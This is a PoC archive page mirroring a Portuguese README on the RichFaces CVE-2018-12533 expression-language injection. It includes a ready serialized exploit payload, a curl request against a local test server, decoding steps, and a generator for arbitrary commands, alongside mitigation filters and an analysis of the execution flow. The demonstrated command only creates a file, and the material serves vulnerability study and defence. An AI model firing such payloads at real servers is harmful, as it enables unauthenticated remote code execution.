Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2018-12533 PoC — Red Hat JBoss RichFaces 代码注入漏洞

Source
Associated Vulnerability
Title: Red Hat JBoss RichFaces 代码注入漏洞 (CVE-2018-12533)
Description:JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers to inject expression language (EL) expressions and execute arbitrary Java code via a /DATA/ substring in a path with an org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.
Readme
# Demonstra a falha presente no RichFaces 3.3.4 de execução remota de código e como mitigar e/ou bloquear <!-- omit in toc -->

- [Exemplo de ataque](#exemplo-de-ataque)
- [Clonar o repositório](#clonar-o-repositório)
- [Decodificando o payload](#decodificando-o-payload)
- [Deserializando a classe Java](#deserializando-a-classe-java)
- [Gerando um payload para testar a vulnerabilidade](#gerando-um-payload-para-testar-a-vulnerabilidade)
- [Como mitigar?](#como-mitigar)
  - [Se você realmente precisa desse endpoint](#se-você-realmente-precisa-desse-endpoint)
  - [Se você não precisa desse endpoint](#se-você-não-precisa-desse-endpoint)
- [Entendendo o fluxo da execução](#entendendo-o-fluxo-da-execução)
- [Quem usa esse recurso?](#quem-usa-esse-recurso)
- [Dicas](#dicas)
- [Links relevantes](#links-relevantes)

> Detalhes da [CVE-2018-12533](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12533). Outras versões do RichFaces são vulneráveis, como pode ser visto [aqui](https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html).

## Exemplo de ataque

```bash
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
```

Após o `DATA/` e até antes do `.seam`, é o payload do ataque. Isso é apenas uma classe Java serializada e zipada e codificada em Base64. É um Base64 com o formato um pouco modificado pelo RichFaces para ser compatível com a URL.

Essa classe contém uma linha de comando no formato de [Expression Language](https://en.wikipedia.org/wiki/Expression_language) que é executada pela aplicação, mais precisamente pelo RichFaces, **e aí que está o problema, pois um código arbitrário pode ser executado no servidor**.

> O comando que está codificado no payload acima é `touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458` (apenas para efeito de demonstração) e vamos constatar isso logo a frente.

## Clonar o repositório

```bash
git clone git@github.com:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
```

## Decodificando o payload

```bash
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin
```

Converte o payload do formato de Base64 do RichFaces para o formatado padrão de Base64. Decodifica o Base64, que nesse caso é um binário zipado, então descomprime, o que vai gerar o binário da classe [java serializada](https://en.wikipedia.org/wiki/Serialization#Java).

## Deserializando a classe Java

Aqui vamos ver o comando malicioso que está dentro do payload.

O comando abaixo vai mostrar todos os atributos da classe e os respectivos tipos definidos na classe. Não exibe os tipos em runtime, se não sabe o que isso significa, tudo bem.

> Aqui estamos executando código Java como se fosse um script graças ao [JBang](https://www.jbang.dev/)

```bash
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
```

O output é algo parecido com isso:

```json
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
```

⚠️ O ponto principal é o atributo `_paint.savedState.m.orig.expr`, onde está o código malicioso, que nesse exemplo é apenas um código inofensivo que cria um arquivo no disco: `touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458`

## Gerando um payload para testar a vulnerabilidade

```bash
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
```

O output vai exibir os comandos no ponto de você executar contra um servidor vulnerável. Ajuste apenas a URL.

## Como mitigar?

### Se você realmente precisa desse endpoint

Uma opção menos simples e mais performática, é modificar o código do RichFaces para fazer algum tratamento. Mais abaixo tem a stack relevante.

Outra opção mais simples que a anterior, é criar um filtro (`javax.servlet.Filter`), que vai agir apenas no path em questão, deserializando o Base64 presente no path e fazendo a devida verificação para descobrir se o request pode continuar ou se tem que ser rejeitado. **É importante frisar** que a deserialização tem que ocorrer por meio da classe `LookAheadObjectInputStream`, como é feito em `org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)`, para tentar evitar ao máximo [problemas de segurança durante a deserialização](https://www.baeldung.com/java-deserialization-vulnerabilities), como por exemplo execução de código malicioso.

### Se você não precisa desse endpoint

Um opção é bloquear o path do endpoint em algum proxy que esteja na frente da aplicação.

**Outra opção, que acho que vale implementar,** mas que não exime a primeira opção, é criar um filtro (`javax.servlet.Filter`), que vai agir apenas no path em questão e vai bloquear o acesso. O bloqueio consiste apenas em responder a requisição sem deixar a cadeia de filtros prosseguir a execução. Você pode colocar um texto no body e usar o http status code 410 (Gone). Lembrando que esse filtro deve ser definido no `web.xml` da aplicação. **Um exemplo desse filtro:** [PathBlockerFilter](./exemplos/PathBlockerFilter.java).

> Se usa JBoss EAP, o filtro falado aqui pode ser implementado como um valve (a mudança é mínima), e:
>
> - será executado antes dos filtros definidos no `web.xml`
> - deve ser definido no arquivo `jboss-web.xml` como sendo o primeiro `<valve>`, ou
> - pode ser definido no standalone.xml (ou domain.xml) no subsystem `urn:jboss:domain:web` por meio da tag `<valve`
> - **Exemplo desse valve:** [PathBlockerValve](./exemplos/PathBlockerValve.java)

## Entendendo o fluxo da execução

> **tl;dr:** o código malicioso é executado pelo método `org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)`, na linha ``paint.invoke(facesContext, new Object[] {graphics,data._data});``.

Quando a requisição http é feita, ela chega ao método `org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)`, conforme a stack abaixo:

```stack
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
```

1. Na linha `dataString = key.substring(dataStart);` é extraído o Base64 no formato do RichFaces (lembrando que esse Base64 no final das contas é um objeto java que foi serializado e zipado);
2. Na linha `objectArray = decrypt(dataArray)` esse Base64 é decodificado e descomprimido;
3. Na linha `data = in.readObject()` o objeto java com o código malicioso é deserializando, ou seja, tem-se a instância do objeto.

Em seguida a requisição chega no método `org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)`, conforme a stack abaixo:

```stack
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
```

⚠️ Então na linha `paint.invoke(facesContext, new Object[] {graphics,data._data});` o código malicioso é finalmente executado.

## Quem usa esse recurso?

Vou citar um caso, o componente `rich:paint2D`: <https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D>

## Dicas

É possível ver o payload recebido pela aplicação ativando o log DEBUG passa a classe `org.ajax4jsf.resource.ResourceBuilderImpl`.

## Links relevantes

- <https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html> (Principal)
- <https://seclists.org/fulldisclosure/2020/Mar/21>
- <https://github.com/redtimmy/Richsploit>
- <https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/>
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →